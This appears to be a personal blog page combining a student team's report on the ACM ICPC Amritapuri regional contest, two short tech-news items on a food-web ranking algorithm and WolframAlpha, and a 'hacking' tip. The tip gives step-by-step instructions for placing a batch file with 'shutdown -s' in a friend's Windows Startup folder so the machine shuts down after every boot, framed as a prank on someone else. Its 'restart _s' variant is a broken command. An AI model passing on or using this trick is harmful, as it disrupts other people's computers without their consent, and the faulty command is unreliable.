TeckMonks In "Battle Of Brain"

Hi friends this year we threee went to kerala "Amrita University" for acm ICPC(International Collegiate Programming Contest) Team Name as "Teck Monks" which held on nov 1st...This year they asked 9 problems...It was more ambiguity...

Team "Oasis" from South Korea's Sogang University took first place at the Amritapuri regional contest, held Nov. 1 at Amrita Vishwa Vidyapeetham University.

"Oasis" solved seven problems correctly, the only team to do so. "CounterGambit," from India's National Institute of Technology, Trichy, took second place, mirroring their finish in the Gwalior/Kanpur regional contest a month before; they solved six problems correctly. "Phoenix," from the DJ Sanghvi College of Engineering in Mumbai, came in third.

Four teams from the Indian Institute of Technology representing schools in Guwahati, Bombay, Roorkee and Chennai placed in the top 10. Fifty-six teams from five countries participated in the contest, which was directed by Professor Vallath Nandakumar.

Professor Nandakumar noted in his report that the organizers took contest participants on a sightseeing tour of the Kerala countryside, visiting the area beaches and the Palaruvi waterfalls and capping the trip off with a banquet dinner and an show of cultural dances.

Photos of the contest can be found here. The full director's report is here (pdf). The contest's blog is here. Follow them on Twitter @icpcamritapuri.

MAKE COMPUTER KEEP RESTARTING

Now a days i have little bit interesting in hacking and cracking
this is not my profession just i would like to share this with u

Here is a tips to make computer restart again and again after every 30 seconds

This is the preocedure

1.open note pad

2.type "shutdown -s" with out quotes

3.save the file with .bat extension


4.explaination,u have created a prog which shutdowns the pc with in 30
of executing the file

5. now open "x:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\" (x->is the drive on which ur windows has been installed and USERNAME is the username)

6.paste a shortcut on this directory



NOW WHEN EVER UR FRIEND STARTS HIS PC a count down will start after 30 sec his pc will shutdown
u can also maki his pc restart instead of shutting down.. just replace "shutdown -s" "restart _s"


enjoy.... this is not a virus but look so....

Google Works on a Different Web

The Google search engine has inspired a new algorithm that can predict which species losses will spark the fastest implosion of a food web, according to the University of Chicago's Stefano Allesina. "The problem of how ecosystems are likely to respond to the loss of species is quite important, particularly in light of how many different ways human activities are resulting in the local extinctions of populations," says the Santa Fe Institute's Jennifer Dunne. The algorithm's functionality is similar to Google's Web-page-ranking tool, PageRank. PageRank quantifies a page's value to searchers depending on the importance of the pages that link to it. However, the Google ranking system assumes that any page might lead to any other page--a concept that is not applicable to food webs. Allesina and Mercedes Pascual of the University of Michigan in Ann Arbor only drew connections between predator and prey. The researchers compared the new algorithm to others by using information from real-world food webs. The algorithm matched results of the standard-bearing genetic algorithm without being computationally intensive.

Wolfram's Search Goal: Compute All

Stephen Wolfram has set the ambitious goal of converting the global corpus of knowledge into a computable format through WolframAlpha.com, a computational knowledge engine rather than a search engine. WolframAlpha.com computes data and frequently renders query results into lists, charts, and graphs. "You get to ask WolframAlpha specific questions and it provides specific answers, rather than asking about some general topic and expecting it will do what search engines do, giving you a bunch of links about that topic," Wolfram says. He estimates that WolframAlpha can currently answer users' questions with more than 75 percent accuracy, and the system's linguistic comprehension capabilities are steadily improving. Wolfram says the long-term goal for WolframAlpha is to make as much globally accumulated knowledge computable as possible. One avenue being explored is the ability to upload one's own data to WolframAlpha and have it perform analysis on that data. "Another direction we are just starting to play with ... is being able to invent on the fly," Wolfram says.
